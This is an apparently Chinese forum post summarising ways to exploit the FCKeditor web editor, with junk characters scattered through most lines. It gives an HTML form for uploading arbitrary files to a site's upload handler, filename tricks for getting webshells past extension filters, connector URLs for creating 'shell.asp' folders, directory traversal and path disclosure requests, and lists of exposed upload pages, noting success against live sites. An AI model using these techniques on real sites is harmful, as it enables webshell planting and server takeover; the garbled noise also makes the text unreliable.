Fckeditor漏洞利用总结
; h" {- _6 e3 H M& y( k# \查看编辑器版本8 o" m2 i2 r) K
FCKeditor/_whatsnew.html
2 a! C5 Q4 W; w% ^, h2 {+ J6 f—————————————————————————————————————————————————————————————
' a. m! S B4 |0 l7 A4 J. p# g4 P# ~
2. Version 2.2 版本$ _* h% o8 _8 _( ?
Apache+linux 环境下在上传文件后面加个.突破!测试通过。
4 E. k' X# C' U6 g—————————————————————————————————————————————————————————————+ x* s( u( J. q/ t
! ] z1 ~1 a- H; B4 j8 ?9 s7 N5 [
3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传任意文件!将以下保存为html文件,修改action地址。9 |7 J5 u4 x( l% \
<form id="frmUpload" enctype="multipart/form-data") J8 q ?1 S" s( l
action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>5 W) R. M& E4 \6 \
<input type="file" name="NewFile" size="50"><br>0 @0 {: K- C. }8 [1 j
<input id="btnUpload" type="submit" value="Upload">
8 `4 m3 A! |# C2 X" b6 Q [</form>
1 ^' c- G1 u$ j—————————————————————————————————————————————————————————————
|: M, c+ v/ A& _8 n# K: b) _" Y0 h+ _
4.FCKeditor 文件上传“.”变“_”下划线的绕过方法
( q. w& n/ }1 y4 ]5 P! X# U, d. v 很多时候上传的文件例如:shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。
1 H S" a& X' U- K P 4.1:提交shell.php+空格绕过
4 N5 \" }0 D3 @- Z- w不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。
7 W8 f$ _+ a% i& Z7 T1 M 4.2:继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制。6 Z/ {% f; I7 f1 j+ G: t
—————————————————————————————————————————————————————————————
( z" z! ~5 r% }) M" E
/ V% e; d: P" M3 Y8 ]4 C5. 突破建立文件夹
n7 B) K. @& y; [FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684
, e( K+ y( ?2 Y( h% x2 W' f9 TFCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp
+ B; |" @+ P& |9 d& @# {—————————————————————————————————————————————————————————————
$ r. S" s- t9 R- u% c# {# f6 C' T9 [0 e* F2 U3 S! ^& Z
6. FCKeditor 中test 文件的上传地址/ m& @- R4 }0 y! X; v
FCKeditor/editor/filemanager/browser/default/connectors/test.html
" R! k/ q6 J0 B7 qFCKeditor/editor/filemanager/upload/test.html! G! N- |% {6 }0 J( ]$ ?: H9 e
FCKeditor/editor/filemanager/connectors/test.html5 N' @- Q; U& Y+ P. a8 c+ M& v
FCKeditor/editor/filemanager/connectors/uploadtest.html, t! w! B. f s& O
—————————————————————————————————————————————————————————————% y7 y; M( [5 J+ D0 j; P+ A6 x- _
0 w& h9 S, |; w7.常用上传地址( U; r6 M, _1 l/ E ^6 E
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/7 A' ?! ^( J0 O) | Q
FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
$ a5 K4 y* d; @* c% f8 hFCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)* H4 l3 ?7 g' j8 E5 P
JSP 版:
1 p. b" X9 ?$ \! jFCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp
0 ?8 C: T; ^! q. e2 E( s注意红色部分修改为FCKeditor 实际使用的脚本语言,蓝色部分可以自定义文
; z6 x6 v4 X3 u% O% ^' P件夹名称也可以利用../..目录遍历,紫色部分为实际网站地址。
- V# i1 j# @: p—————————————————————————————————————————————————————————————
- Y+ S! X# J5 { t5 N/ h
) g" [* O( J% V$ w2 j: l8.其他上传地址
( J- ]6 X: U3 P) y6 s" u; IFCKeditor/_samples/default.html
; u' z0 }. f8 Z R3 ^: y2 rFCKeditor/_samples/asp/sample01.asp2 B2 |- T# D/ E- i6 O) ]
FCKeditor/_samples/asp/sample02.asp
$ T. K9 ?) g( \FCKeditor/_samples/asp/sample03.asp
- o& }: q( P. dFCKeditor/_samples/asp/sample04.asp N) j5 T) P5 S9 R$ L8 K# N3 J+ Q
一般很多站点都已删除_samples 目录,可以试试。, l% h; o9 Q# V, n
FCKeditor/editor/fckeditor.html 不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。
; e( S8 f6 K% {6 Y! X—————————————————————————————————————————————————————————————7 U! _$ C J' Z" @2 c0 ]
: A& R& Q0 J: G& @9.列目录漏洞也可助找上传地址
5 C* O- p6 @; j o5 r! NVersion 2.4.1 测试通过5 c) p: E. w y# j
修改CurrentFolder 参数使用 ../../来进入不同的目录
0 O" B& f) ?: p/ P8 I/ ~% E/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp; R& z8 n& f3 t3 Z3 N% s
根据返回的XML 信息可以查看网站所有的目录。0 ?: d) K* m, o, Q5 \8 i
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F
, p) f4 p; x, ]; w( i S" j也可以直接浏览盘符:3 ^$ C3 D! B# `! ~
JSP 版本:
3 `: g7 }4 n1 mFCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F) _+ e$ Y4 X/ x3 g6 X7 ?
—————————————————————————————————————————————————————————————! Z1 X* H5 O" P! r$ ]% N
0 Q) R* J6 Y" {( x10.爆路径漏洞- {+ v' j- W5 V3 _2 X* ~) v7 @* X5 t
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp7 h& {- m w0 }# Y1 ^
—————————————————————————————————————————————————————————————
3 f4 Z% v {$ t, A; v0 C0 m2 g! m k: Q v3 K
11. FCKeditor 被动限制策略所导致的过滤不严问题
/ _' O4 D; d5 _8 B 影响版本: FCKeditor x.x <= FCKeditor v2.4.3( k6 m G! x$ f) r" H& K8 s8 E
脆弱描述:' A+ U8 D3 p) O
FCKeditor v2.4.3 中File 类别默认拒绝上传类型:
# S' S) N4 _: Hhtml|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm& V- X6 a, K( _. k
Fckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName,而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!& J" Z; \! W3 w( K1 M4 u+ K- J: H/ N
而在apache 下,因为"Apache 文件名解析缺陷漏洞"也可以利用之,另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码,其限制最为狭隘。. O* V4 `2 s/ B4 R3 U
在上传时遇见可直接上传脚本文件固然很好,但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过,也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!1 K% N, W# o9 C6 @
—————————————————————————————————————————————————————————————9 a; s) Y* U( `1 K
5 \4 L* n; b; N. \8 W* N7 x
12.最古老的漏洞,Type文件没有限制!; Y; M, A# p8 k5 l
我接触到的第一个fckeditor漏洞了。版本不详,应该很古老了,因为程序对type=xxx 的类型没有检查。我们可以直接构造上传把type=Image 改成Type=hsren 这样就可以建立一个叫hsren的文件夹,一个新类型,没有任何限制,可以上传任意脚本! * p b+ M. X& w* v6 ]! x- l+ [
—————————————————————————————————————————————————————————————1 f9 R# g7 j# W% o. V
+ M1 n, B. t- ?+ O$ Z. ^" y===============================================================================================================================================
' n L7 x( e" D" _ s u+ M
b1 X, T0 H' jFCK编辑器jsp版本漏洞:
- V) E" a1 b* U6 X* O# A* i ~' I3 T+ Y- j
( c4 X- _# s0 B# ?
http://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F
9 ? {( o w! U; B9 \6 [8 z1 X3 s* M3 v$ g- N5 }
上传马所在目录
. }4 Z5 D6 z' u! q( C% i, jFCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/! i- _4 g/ r$ o9 D, J, [$ I# j
上传shell的地址:
- G3 R5 x" H+ L. g) ^http://www.xxx.com/fckeditor/edi ... ctors/jsp/connector- ~9 S. l3 K" a* D6 V
跟版本有关系.并不是百分百成功. 测试成功几个站.4 G$ W6 M, e& ~2 e
不能通杀.很遗憾.9 S, A; b5 }) m8 I1 ]7 s9 B
http://www.****.com/FCKeditor/editor/filemanager/browser/default/browser.html?type=File&connector=connectors/jsp/connector- T/ y9 i, W( m! o
如果以上地址不行可以试试* ^1 y3 T0 v: d0 @+ z' v/ u
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=/servlet/Connector
( ~: u' M$ Q* O1 f+ Z; r! m2 y' f8 MFCKeditor/_samples/* g* ]5 h! `. E% k. H$ _4 v1 y
FCKeditor/_samples/default.html+ `2 Q( S0 _5 d1 r7 D- r- i
FCKeditor/editor/fckeditor.htm
0 o1 {9 D5 O: V, ?) C% D! D0 Z& WFCKeditor/editor/fckdialog.html6 t6 H) C& E- b3 s; t! N" [& D
0 T3 L5 v3 s, ~ Z) T s/ n
+ w/ K8 _8 q3 G! u( C- m; X
: _ p! l( S6 J0 p) Z) R5 a解析漏洞+未重命名文件时上传漏洞 1.asp;jpg6 {% L+ P1 G* |6 w
|